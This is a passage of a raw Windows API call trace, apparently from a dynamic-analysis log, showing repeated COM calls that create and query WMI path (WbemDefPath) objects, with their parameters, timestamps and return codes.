Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5fc3d40) returned 0x0 [0161.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x5fc3d40, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0161.557] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5fc3d40, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df2a0) returned 0x0 [0161.557] WbemDefPath:IUnknown:Release (This=0x5fc3d40) returned 0x0 [0161.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df2a0) returned 0x0 [0161.557] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0161.558] WbemDefPath:IUnknown:AddRef (This=0x5df2a0) returned 0x3 [0161.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0161.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0161.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5fc3d60) returned 0x0 [0161.558] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5fc3d60, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.558] WbemDefPath:IUnknown:Release (This=0x5fc3d60) returned 0x3 [0161.558] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0161.558] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0161.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0161.558] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x2 [0161.558] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x1 [0161.558] SetEvent (hEvent=0x4d8) returned 1 [0161.560] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5fc3d40) returned 0x0 [0161.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x5fc3d40, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0161.561] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5fc3d40, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df230) returned 0x0 [0161.561] WbemDefPath:IUnknown:Release (This=0x5fc3d40) returned 0x0 [0161.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df230) returned 0x0 [0161.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0161.561] WbemDefPath:IUnknown:AddRef (This=0x5df230) returned 0x3 [0161.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0161.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0161.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5fc3d70) returned 0x0 [0161.561] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5fc3d70, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.561] WbemDefPath:IUnknown:Release (This=0x5fc3d70) returned 0x3 [0161.561] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0161.561] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0161.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0161.561] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x2 [0161.561] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x1 [0161.561] SetEvent (hEvent=0x4dc) returned 1 [0162.852] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6ad90) returned 0x0 [0162.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6ad90, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0162.853] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6ad90, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df230) returned 0x0 [0162.853] WbemDefPath:IUnknown:Release (This=0x5f6ad90) returned 0x0 [0162.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df230) returned 0x0 [0162.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0162.854] WbemDefPath:IUnknown:AddRef (This=0x5df230) returned 0x3 [0162.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0162.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0162.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6adc0) returned 0x0 [0162.854] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6adc0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.854] WbemDefPath:IUnknown:Release (This=0x5f6adc0) returned 0x3 [0162.854] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0162.854] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0162.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df230, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0162.854] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x2 [0162.854] WbemDefPath:IUnknown:Release (This=0x5df230) returned 0x1 [0162.854] SetEvent (hEvent=0x55c) returned 1 [0162.879] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5fc3df0) returned 0x0 [0162.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x5fc3df0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0162.879] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5fc3df0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df2a0) returned 0x0 [0162.880] WbemDefPath:IUnknown:Release (This=0x5fc3df0) returned 0x0 [0162.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df2a0) returned 0x0 [0162.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0162.880] WbemDefPath:IUnknown:AddRef (This=0x5df2a0) returned 0x3 [0162.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0162.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0162.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5fc3e00) returned 0x0 [0162.880] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5fc3e00, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.880] WbemDefPath:IUnknown:Release (This=0x5fc3e00) returned 0x3 [0162.880] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0162.881] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0162.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0162.881] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x2 [0162.881] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x1 [0162.881] SetEvent (hEvent=0x558) returned 1 [0162.883] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5fc3df0) returned 0x0 [0162.883] WbemDefPath:IUnknown:QueryInterface (in: This=0x5fc3df0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0162.884] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5fc3df0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df310) returned 0x0 [0162.884] WbemDefPath:IUnknown:Release (This=0x5fc3df0) returned 0x0 [0162.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df310) returned 0x0 [0162.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0162.884] WbemDefPath:IUnknown:AddRef (This=0x5df310) returned 0x3 [0162.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0162.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0162.884] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5fc3e10) returned 0x0 [0162.884] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5fc3e10, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.884] WbemDefPath:IUnknown:Release (This=0x5fc3e10) returned 0x3 [0162.884] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0162.885] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0162.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0162.885] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x2 [0162.885] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x1 [0162.885] SetEvent (hEvent=0x560) returned 1 [0162.887] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5fc3df0) returned 0x0 [0162.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x5fc3df0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0162.887] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5fc3df0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df620) returned 0x0 [0162.888] WbemDefPath:IUnknown:Release (This=0x5fc3df0) returned 0x0 [0162.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df620) returned 0x0 [0162.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0162.888] WbemDefPath:IUnknown:AddRef (This=0x5df620) returned 0x3 [0162.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0162.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0162.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5fc3e20) returned 0x0 [0162.888] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5fc3e20, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.888] WbemDefPath:IUnknown:Release (This=0x5fc3e20) returned 0x3 [0162.888] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0162.888] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0162.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0162.888] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x2 [0162.889] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x1 [0162.889] SetEvent (hEvent=0x4e0) returned 1 Thread: id = 201 os_tid = 0xafc [0155.446] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0155.446] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x523ee84 | out: lpiid=0x523ee84) returned 0x0 [0155.448] CoGetClassObject (in: rclsid=0x629714*(Data1=0x4590f811, 